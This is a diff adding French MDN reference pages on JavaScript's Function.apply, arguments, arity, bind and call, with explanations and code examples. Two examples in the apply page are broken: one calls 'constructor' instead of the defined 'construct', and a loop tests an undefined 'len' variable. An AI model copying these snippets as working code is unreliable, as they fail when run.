+ <dd>Un objet semblable à un tableau qui définit les arguments avec lesquel <em><code>fun</code></em> devrait être appelée, ou {{jsxref("null")}} ou {{jsxref("undefined")}} si aucun argument n'est passé à la fonction. Avec ECMAScript 5, ces arguments peuvent être représentés par un objet semblable un tableau. Voir ci-après pour plus d'informations sur <a href="#compat">la compatibilité des navigateurs</a>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le résultat obtenu en appelant la fonction avec la valeur <code>this</code> indiquée et les arguments fournis.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Il est possible d'utiliser un objet <code>this</code> différent lors de l'appel à une fonction existante. <code>this</code> fait référence à l'objet courant, l'objet appelant. Avec <code>apply</code>, on peut écrire une méthode une seule fois et en hériter dans un autre objet, sans avoir à la réécrire dans le nouvel objet.</p>
+
+<p><code>apply</code> est similaire à {{jsxref("Function.call", "call()")}}, hormis pour le type d'arguments supporté. Il est possible d'utiliser un tableau à la place d'un ensemble de paramètres. Avec <code>apply</code>, il est également possible d'utiliser un littéral de tableau, par exemple, <code><em>fun</em>.apply(this, ['manger', 'bananes'])</code>, ou un objet {{jsxref("Array")}}, par exemple, <code><em>fun</em>.apply(this, new Array('manger', 'bananes'))</code>.</p>
+
+<p>On peut aussi passer {{jsxref("Fonctions/arguments", "arguments ")}} en tant que paramètre <code>argsArray</code>. <code>arguments</code> étant une variable locale à la fonction. Celle-ci peut également être utilisée pour tous les arguments non spécifiés de l'objet appelé. Ainsi, il n'est pas nécessaire de connaître les arguments de l'objet appelé lors d'un appel à la méthode <code>apply</code>. <code>arguments</code> peut être utilisé pour passer tous les arguments à l'objet appelé. L'objet appelé gèrera alors la manipulation des arguments.</p>
+
+<p>Depuis la cinquième édition d'ECMAScript, il est possible d'utiliser des objet semblables à des tableaux à la place. En pratique tout objet possédant une propriété <code>length</code> et une propriété entière comprise entre <code>[0..length[</code> est un objet semblable à un tableau. On peut ainsi, par exemple, utiliser un objet {{domxref("NodeList")}} ou un objet quelconque comme <code>{'length': 2, '0': 'manger', '1': 'bananes'}</code>.</p>
+
+<div class="note">
+<p><strong>Note : </strong>Beaucoup de navigateurs, y compris Chrome 14 et Internet Explorer 9 n'acceptent pas encore un objet semblable à un tableau, ils déclencheront un exception.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_apply_pour_chaîner_des_constructeurs">Utiliser <code>apply</code> pour chaîner des constructeurs</h3>
+
+<p>Il est possible d'utiliser <code>apply</code> afin de chaîner les {{jsxref("Opérateurs/L_opérateur_new", "constructeurs","",1)}} d'un objet, de façon sembable au chaînage utilisé en java. Dans l'exemple suivant, on crée une {{jsxref("Function")}} globale appelée <code>construct</code>, qui permet d'utiliser un objet de type <code>Array</code> associé à un constructeur au lieu d'une liste d'arguments.</p>
+
+<pre class="brush: js">Function.prototype.construct = function (aArgs) {
+  var nouvelObjet = Object.create(this.prototype);
+  this.apply(nouvelObjet, aArgs);
+  return nouvelObjet;
+};
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La méthode {{jsxref("Object.create()")}} utilisée ci-avant est relativement nouvelle. Pour une autre méthode qui utilise les <code>closure</code>, on pourra utiliser :</p>
+
+<pre class="brush: js">Function.prototype.construct = function(aArgs) {
+  var fConstructeur = this, fNouveauConstructeur = function() {
+    fConstructeur.apply(this, aArgs);
+  };
+  fNouveauConstructeur.prototype = fConstructeur.prototype;
+  return new fNouveauConstructeur();
+};</pre>
+</div>
+
+<p>Exemple d'utilisation :</p>
+
+<pre class="brush: js">function MonConstructeur () {
+    for (var nProp = 0; nProp &lt; arguments.length; nProp++) {
+        this["propriété" + nProp] = arguments[nProp];
+    }
+}
+
+var monTableau = [4, "Coucou monde !", false];
+var monInstance = MonConstructeur.constructor(monTableau);
+
+console.log(monInstance.propriété1); // "Coucou monde !"
+console.log(monInstance instanceof MonConstructeur); // "true"
+console.log(monInstance.constructor); // "MonConstructeur"
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> On pourrait également utiliser {{jsxref("Object/__proto__", "Object.__proto__")}}</p>
+
+<pre class="brush: js">Function.prototype.construct = function (aArgs) {
+  var oNew = {};
+  oNew.__proto__ = this.prototype;
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+</pre>
+
+<p>ou encore le constructeur {{jsxref("Function")}} :</p>
+
+<pre class="brush: js">Function.prototype.construct = function (aArgs) {
+  var fNewConstr = new Function("");
+  fNewConstr.prototype = this.prototype;
+  var oNew = new fNewConstr();
+  this.apply(oNew, aArgs);
+  return oNew;
+};
+</pre>
+</div>
+
+<div class="note"><strong>Note :</strong> Attention, cette méthode non-native <code>Function.construct</code> ne fonctionnera pas avec certains contructeurs natifs (tels que {{jsxref("Date", "Date")}}). Dans ce cas précis, on peut utiliser la méthode {{jsxref("Function.bind")}} (pour exemple, si on prend le tableau suivant <code>[2012, 11, 4]</code> utilisé sur le constructeur de l'objet <code>Date</code> : on peut écrire ceci : <code>new (Function.prototype.bind.apply(Date, [null].concat([2012, 11, 4])))()</code> – cependant cela reste une pratique à éviter si possible et à ne pas utiliser en dans un environnement de production).</div>
+
+<h3 id="Utiliser_apply_et_des_fonctions_natives">Utiliser <code>apply</code> et des fonctions natives</h3>
+
+<p>Un usage singulier de <code>apply</code> permet d'appeler des fonctions natives pour réaliser par exemple des tâches qui autrement auraient nécessité une boucle sur toutes les valeurs d'un tableau. Pour illustrer ce concept, on prend l'exemple de <code>Math.max</code>/<code>Math.min</code> qui permettent d'extraire la valeur maximum/minimale de notre tableau.</p>
+
+<pre class="brush: js">/* min/max tableau de nombres */
+var nombres = [5, 6, 2, 3, 7];
+
+/* usage de Math.min/Math.max et de la méthode apply */
+var max = Math.max.apply(null, nombres);
+/* Equivalent à Math.max(nombres[0], ...)
+  ou Math.max(5, 6, ..) */
+
+var min = Math.min.apply(null, nombres);
+
+/* vs. algorithme trivial avec une boucle */
+max = -Infinity, min = +Infinity;
+
+for (var i = 0; i &lt; nombres.length; i++) {
+  if (nombres[i] &gt; max)
+    max = nombres[i];
+  if (nombres[i] &lt; min)
+    min = nombres[i];
+}</pre>
+
+<p>Note : l'utilisation de <code>apply</code> peut provoquer l'atteinte du seuil limite du nombres d'arguments supporté par le moteur Javascript. Les conséquences de cette utilisation abusive (on évoque plus de 10000 arguments) peuvent varier selon les moteurs Javascript (JavaScript contient une limite en dur de <a class="link-https" href="https://bugs.webkit.org/show_bug.cgi?id=80797">65536</a>), car une liberté subsiste quant à l'implémentation du moteur. Des moteurs lèveront une exception si le seuil est atteint. Il est donc préférable d'apporter une attention toute particulière au nombre d'arguments passés. (Illustrerons ce cas dans l'exemple suivant avec un moteur factice capable de ne gérer que 4 arguments au maximum (les limites natives sont, bien sûr, plus élevées), et reprenons les arguments de l'exemple précédent <code>5, 6, 2, 3</code> passés à la méthode <code>apply</code> plutôt que notre tableau entier.) Imaginons que notre tableau soit progressivement peuplé de milliers d'éléments, une stratégie spécifique devra être appliquée, par exemple en appliquant la méthode apply sur des portions du tableau:</p>
+
+<pre class="brush: js">function minimumDuTableau(tab) {
+  var min = Infinity;
+  var QUANTUM = 32768;
+
+  for (var i = 0, longueur = tab.length; i &lt; len; i += QUANTUM) {
+    var submin = Math.min.apply(null,
+                                tab.slice(i, Math.min(i + QUANTUM, longueur)));
+    min = Math.min(submin, min);
+  }
+
+  return min;
+}
+
+var min = minimumDuTableau([5, 6, 2, 3, 7]);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.3', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.apply', 'Function.prototype.apply')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><a id="compat" name="compat">Compatibilité des navigateurs</a></h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.apply")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Fonctions/arguments", "arguments")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Fonctions", "Les fonctions et portées de fonctions", "", 1)}}</li>
+ <li>{{jsxref("Reflect.apply()")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition">La syntaxe de décomposition permettant d'exploser un tableau</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/arguments/index.html b/files/fr/web/javascript/reference/objets_globaux/function/arguments/index.html
new file mode 100644
index 0000000000..13bfc16dd3
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/arguments/index.html
@@ -0,0 +1,91 @@
+---
+title: Function.arguments
+slug: Web/JavaScript/Reference/Objets_globaux/Function/arguments
+tags:
+  - Déprécié
+  - Function
+  - JavaScript
+  - Propriété
+  - Reference
+  - arguments
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/arguments
+---
+<div>{{JSRef}} {{Deprecated_header}}</div>
+
+<p>La propriété <code><strong><em>function</em>.arguments</strong></code> fait référence à un objet dont la structure est semblable à celle d'un tableau dont les éléments correspondent aux arguments passés à une fonction. En lieu et place, il faut désormais utiliser {{jsxref("Fonctions/arguments", "arguments")}}. Cette propriété est interdite en mode stricte à cause de <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-addrestrictedfunctionproperties">l'optimisation de la queue des appels (<em>tail call optimization</em>)</a>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La syntaxe <code><em>function</em>.arguments</code> est obsolète.  La méthode recommandée pour accéder à l'objet {{jsxref("Fonctions/arguments", "arguments")}} disponible au sein des fonctions est simplement de faire référence à la variable {{jsxref("Fonctions/arguments", "arguments")}}.</p>
+
+<p>Si on utilise la récursivité (autrement dit si une fonction <code>f</code> apparaît plusieurs fois dans la pile d'appels ou encore qu'une fonction <code>f</code> s'appelle elle-même), la valeur de <code>f.arguments</code> représentera les arguments correspondant à l'appel le plus « récent » de la fonction.</p>
+
+<p>La valeur de la propriété <code>arguments</code> est normalement <code>null</code> si la fonction n'est pas « en cours » (au sens où elle aurait été appelée et qu'elle n'ait pas fini son exécution).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js">function f(n) { g(n-1); }
+
+function g(n) {
+  console.log("avant : " + g.arguments[0]);
+  if(n&gt;0) f(n);
+  console.log("après : " + g.arguments[0]);
+}
+
+f(2);
+
+console.log("fonction terminée : " + g.arguments);
+
+// On aura l'affichage de :
+
+// avant : 1
+// avant : 0
+// après : 0
+// après : 1
+// fonction terminée : null
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0. Dépréciée pour être remplacée par {{jsxref("Fonctions/arguments", "arguments")}} décrit par ES3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'arguments object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Objet {{jsxref("Fonctions/arguments", "arguments")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-arguments-object', 'arguments object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Objet {{jsxref("Fonctions/arguments", "arguments")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-object', 'arguments object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Objet {{jsxref("Fonctions/arguments", "arguments")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.arguments")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'objet {{jsxref("Fonctions/arguments", "arguments")}}</li>
+ <li>{{jsxref("Fonctions", "Les fonctions et les portées de fonctions", "", 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/arity/index.html b/files/fr/web/javascript/reference/objets_globaux/function/arity/index.html
new file mode 100644
index 0000000000..9245cd83ab
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/arity/index.html
@@ -0,0 +1,32 @@
+---
+title: Function.arity
+slug: Web/JavaScript/Reference/Objets_globaux/Function/arity
+tags:
+  - Function
+  - JavaScript
+  - Obsolete
+  - Propriété
+  - Reference
+translation_of: Archive/Web/JavaScript/Function.arity
+---
+<div>{{JSRef}} {{Obsolete_header}}</div>
+
+<p class="note">La propriété <code><strong>arity</strong></code> était utilisée pour renvoyer le nombre d'arguments attendu par la fonction. Elle n'existe plus et a été remplacée par la propriété {{jsxref("Function.prototype.length")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Implémentée avec JavaScript 1.2. Obsolète depuis JavaScript 1.4.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.arity")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.length")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/bind/index.html b/files/fr/web/javascript/reference/objets_globaux/function/bind/index.html
new file mode 100644
index 0000000000..dd214fe306
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/bind/index.html
@@ -0,0 +1,250 @@
+---
+title: Function.prototype.bind()
+slug: Web/JavaScript/Reference/Objets_globaux/Function/bind
+tags:
+  - ECMAScript 2015
+  - ECMAScript 5
+  - Function
+  - JavaScript
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>bind()</strong></code> crée une nouvelle fonction qui, lorsqu'elle est appelée, a pour contexte <code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_this">this</a></code> la valeur passée en paramètre et éventuellement une suite d'arguments qui précéderont ceux fournis à l'appel de la fonction créée.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/function-bind.html", "taller")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">let boundFunc = <var>fun</var>c.bind(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>La valeur que l'on doit passer est le paramètre <code>this</code> de la fonction cible <em><code>func</code></em> quand la fonction est appelée. La valeur est ignorée si la fonction liée est construite en utilisant l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Lorsque vous utilisez <code>bind</code> pour créer une fonction (fournie comme un rappel) dans un <code>setTimeout</code>, toute valeur primitive passée comme <code>thisArg</code> est convertie en objet. Si aucun argument n'est fourni dans <code>bind</code>, le <code>this</code> de cette fonction est traité comme le <code>thisArg</code> de la nouvelle fonction.</dd>
+ <dt><code>arg1, arg2, ...</code> {{optional_inline}}</dt>
+ <dd>Arguments à faire précéder aux arguments fournis à la fonction liée lors de l'invocation de <em><code>func</code></em>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une copie de la fonction fournie avec la valeur <code>this</code> indiquée et les arguments initiaux fournis.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>bind()</code> crée une nouvelle <strong>fonction liée</strong>, qui est un <em>objet de fonction exotique</em> (un terme de l'ECMAScript 2015) qui enveloppe l'objet de fonction original. L'appel de la fonction liée entraîne généralement l'exécution de sa fonction enveloppée.</p>
+
+<p>Une fonction liée possède les propriétés internes suivantes :</p>
+
+<dl>
+ <dt><strong><code>[[BoundTargetFunction]]</code> </strong></dt>
+ <dd>L'objet de fonction enveloppé</dd>
+ <dt><code><strong>[[BoundThis]]</strong></code></dt>
+ <dd>La valeur qui est toujours transmise est la valeur <code>this</code> lors de l'appel de la fonction enveloppée.</dd>
+ <dt><code><strong>[[BoundArguments]]</strong></code></dt>
+ <dd>Une liste de valeurs dont les éléments sont utilisés comme premiers arguments pour tout appel à la fonction enveloppée.</dd>
+ <dt><code><strong>[[Call]]</strong></code></dt>
+ <dd>Exécute le code associé à cet objet. Invoqué par une expression d'appel de fonction. Les arguments de la méthode interne sont constitués d'une valeur <code>this</code> et d'une liste contenant les arguments passés à la fonction par une expression d'appel.</dd>
+</dl>
+
+<p>Lorsqu'une fonction liée est appelée, elle appelle la méthode interne <code>[[Call]]</code> dans <code>[[BoundTargetFunction]]</code>, avec les arguments suivants <code>Call(<var>boundThis</var>, ...<var>args</var>)</code>. <var>Là où </var><code><var>boundThis</var></code> est <code>[[BoundThis]]</code>, <code><var>args</var></code> est <code>[[BoundArguments]]</code>, suivi des arguments passés par l'appel de fonction.</p>
+
+<p>Une fonction liée peut également être construite à l'aide de l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Ce faisant, on agit comme si la fonction cible avait été construite. La valeur fournie <code>this</code> est ignorée, tandis que des arguments préparés sont fournis à la fonction émulée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Créer_une_fonction_liée">Créer une fonction liée</h3>
+
+<p>La façon la plus simple d'utiliser <code>bind()</code>est de faire une fonction qui, peu importe la façon dont elle est appellée, le sera avec une certaine valeur <code>this</code> donnée.</p>
+
+<p>Une erreur courante lorsqu'on débute en JavaScript est d'extraire une méthode d'un objet, puis plus tard d'appeler cette méthode depuis un objet et de s'attendre à utiliser l'objet original en tant que valeur de <code>this</code> (par exemple en utilisant cette méthode dans un <em>callback</em>). Sans précaution, cependant, l'objet original est perdu. Créer une fonction liée depuis la méthode, en utilisant l'objet original, résout simplement le problème :</p>
+
+<pre class="brush: js">this.x = 9; // en dehors de tout contexte,
+            // pour un navigateur, this est
+            // l'objet window
+var module = {
+  x: 81,
+  getX: function() { return this.x; }
+};
+
+module.getX(); // 81
+
+var getX = module.getX;
+getX(); // 9, car ici, this fait référence à l'objet global
+
+// On crée une nouvelle fonction à laquelle on lie module en
+// tant que 'this'
+var boundGetX = getX.bind(module);
+boundGetX(); // 81
+</pre>
+
+<h3 id="Fonctions_partiellement_appliquées">Fonctions partiellement appliquées</h3>
+
+<p>Dans l'exemple suivant, on utilise <code>bind()</code> afin de créer une fonction avec des arguments initiaux prédéfinis. Ces arguments, s'il y en a, suivent le <code>this</code> fourni et sont ensuite insérés au début des arguments passés à la fonction cible, suivis par les arguments passés à la fonction liée au moment où celle-ci est appelée.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+
+// Créer une fonction avec un argument prédéfini
+var leadingThirtysevenList = list.bind(null, 37);
+
+var list2 = leadingThirtysevenList(); // [37]
+var list3 = leadingThirtysevenList(1, 2, 3); // [37, 1, 2, 3]
+
+
+function sommeArguments(arg1, arg2){
+  return arg1 + arg2;
+}
+
+var ajouter37 = sommeArguments.bind(null, 37);
+
+var resultat = ajouter37(5); // 37 + 5 = 42
+</pre>
+
+<h3 id="Utiliser_bind_avec_setTimeout">Utiliser <code>bind</code> avec <code>setTimeout</code></h3>
+
+<p>Par défaut à l'intérieur de {{domxref("window.setTimeout()")}}, le mot-clé <code>this</code> sera attribué à l'objet {{domxref("window")}} (ou l'objet <code>global</code>). Lorsqu'on travaille avec des méthodes de classe utilisant <code>this</code> qui se réfère à l'instance, on peut lier <code>this</code> de façon explicite afin d'être certain de manipuler l'instance.</p>
+
+<pre class="brush: js">function Fleur() {
+  this.nbPétales = Math.floor( Math.random() * 12 ) + 1;
+}
+
+// On déclare floraison après un délai d'une seconde
+Fleur.prototype.floraison = function() {
+  window.setTimeout( this.declare.bind( this ), 1000 );
+};
+
+Fleur.prototype.declare = function() {
+  console.log('Je suis une fleur avec ' +
+     this.nbPétales + ' pétales !');
+};
+
+var fleur = new Fleur();
+fleur.floraison();
+// Après environ 1 seconde, on déclenche la méthode declare
+</pre>
+
+<h3 id="Les_fonctions_liées_utilisées_en_tant_que_constructeurs">Les fonctions liées utilisées en tant que constructeurs</h3>
+
+<div class="warning">
+<p><strong>Attention :</strong> Cette section illustre des capacités marginales et des cas aux limites concernant l'usage de la méthode bind(). Les méthodes montrées ci-après ne sont pas les façons les plus propres de faire les choses et ne devraient pas être utilisées en production.</p>
+</div>
+
+<p>Les fonctions liées sont automatiquement disponibles à l'usage pour toutes les instances initialisées avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur la fonction cible. Quand une fonction liée est utilisée pour construire une valeur, le <code>this</code> fourni est ignoré. Cependant, les arguments fournis sont toujours préremplis lors de l'appel au constructeur :</p>
+
+<pre class="brush: js">function Point(x, y) {
+  this.x = x;
+  this.y = y;
+}
+
+Point.prototype.toString = function() {
+  return this.x + "," + this.y;
+};
+
+var p = new Point(1, 2);
+p.toString(); // "1,2"
+
+
+var emptyObj = {};
+var YAxisPoint = Point.bind(emptyObj, 0 /* x */);
+// non supporté dans le polyfill ci dessous,
+// fonctionne avec le bind natif :
+var YAxisPoint = Point.bind(null,0 /* x */);
+
+var axisPoint = new YAxisPoint(5);
+axisPoint.toString(); //  "0,5"
+
+axisPoint instanceof Point; // true
+axisPoint instanceof YAxisPoint; // true
+new Point(17, 42) instanceof YAxisPoint; // false
+</pre>
+
+<p>On notera qu'il n'y a rien à faire de particulier pour pouvoir utiliser {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur votre fonction liée. Le corollaire est qu'il n'y a rien à faire de plus pour créer une fonction liée qui soit appelée sans préfixe, même s'il est préférable d'appeler une fonction liée uniquement avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new", "new")}}.</p>
+
+<pre class="brush: js">// Cet exemple fonctionne dans votre console JavaScript
+// ...(sous réserve d'avoir utilisé le code précédent)
+
+// Peut toujours être appelé comme une fonction normale
+// (même si ce n'est généralement pas l'effet )
+YAxisPoint(13);
+
+emptyObj.x + "," + emptyObj.y; // "0,13"
+</pre>
+
+<p>Si on souhaite supporter le cas où la fonction liée  d'une fonction liée en utilisant seulement <code>new</code>, ou juste en l'appellant, la fonction cible doit outrepasser cette restriction.</p>
+
+<h3 id="Créer_des_raccourcis">Créer des raccourcis</h3>
+
+<div>
+<p><code>bind()</code> est également utile dans les cas où on souhaite créer un raccourci vers une fonction qui requiert un <code>this</code> ayant une certaine valeur.</p>
+
+<p>Si, par exemple, on considère la fonction {{jsxref("Array.prototype.slice")}} et qu'on souhaite l'utiliser pour convertir un objet semblable à un tableau en un objet <code>array</code>, on peut créer un raccourci de cette façon :</p>
+
+<pre class="brush: js">var slice = Array.prototype.slice;
+
+// ... un peu plus loin
+
+slice.apply(arguments);</pre>
+
+<p>Avec <code>bind()</code>, il est possible de simplifier cela. Dans l'exemple qui suit <code>slice</code> est une fonction liée à la fonction {{jsxref("Function.prototype.apply()", "apply()")}} de <code>Function.prototype</code>, et <code>this</code> défini en tant que fonction {{jsxref("Array.prototype.slice()", "slice()")}} de {{jsxref("Array.prototype")}}. Cela signifie que les appels à la méthode <code>apply()</code> peuvent être éliminés :</p>
+
+<pre class="brush: js">// pareil que "slice" dans l'exemple précédent
+var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.apply.bind(unboundSlice);
+
+// ...
+
+slice(arguments);
+</pre>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.3.4.5', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implémentée avec JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-function.prototype.apply', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function.prototype.bind', 'Function.prototype.bind')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Function.bind")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Fonctions", "Fonctions et portées de fonctions", "", 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/call/index.html b/files/fr/web/javascript/reference/objets_globaux/function/call/index.html
new file mode 100644
index 0000000000..b419b7eca6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/call/index.html
@@ -0,0 +1,177 @@
+---
+title: Function.prototype.call()
+slug: Web/JavaScript/Reference/Objets_globaux/Function/call
+tags:
+  - Function
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/call
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>call()</strong></code> réalise un appel à une fonction avec une valeur <code>this</code> donnée et des arguments fournis individuellement.</p>
+
+<div class="note"><strong>Note : </strong>Bien que la syntaxe de cette fonction ressemble à celle de {{jsxref("Function.apply", "apply()")}}, la différence fondamentale réside dans le fait que <code>call()</code> accepte <strong>une liste d'arguments</strong>, tandis que la méthode <code>apply()</code> accepte <strong>un unique tableau d'arguments</strong>.</div>
+
+<div>{{EmbedInteractiveExample("pages/js/function-call.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>fun</var>.call(<var>thisArg</var>[, <var>arg1</var>[, <var>arg2</var>[, ...]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>La valeur <code>this</code> fournie pour l'appel de la fonction <em><code>fun</code></em>. La valeur peut être différente de celle normalement perçue par la méthode : si la méthode est une fonction utilisée dans un code en {{jsxref("Fonctions/Strict_mode", "mode non-strict", "", 1)}}, {{jsxref("null")}} and {{jsxref("undefined")}} seront remplacés par l'objet global et les valeurs primitives seront encapsulées en objets.</dd>
+ <dt><code>arg1, arg2, ...</code></dt>
+ <dd>Les arguments pour la fonction.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le résultat de l'appel de la fonction invoquée avec la valeur <code>this</code> indiquée et les arguments fournis.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>call()</code> permet d'appeler une fonction rattachée à un objet donné sur un autre objet.</p>
+
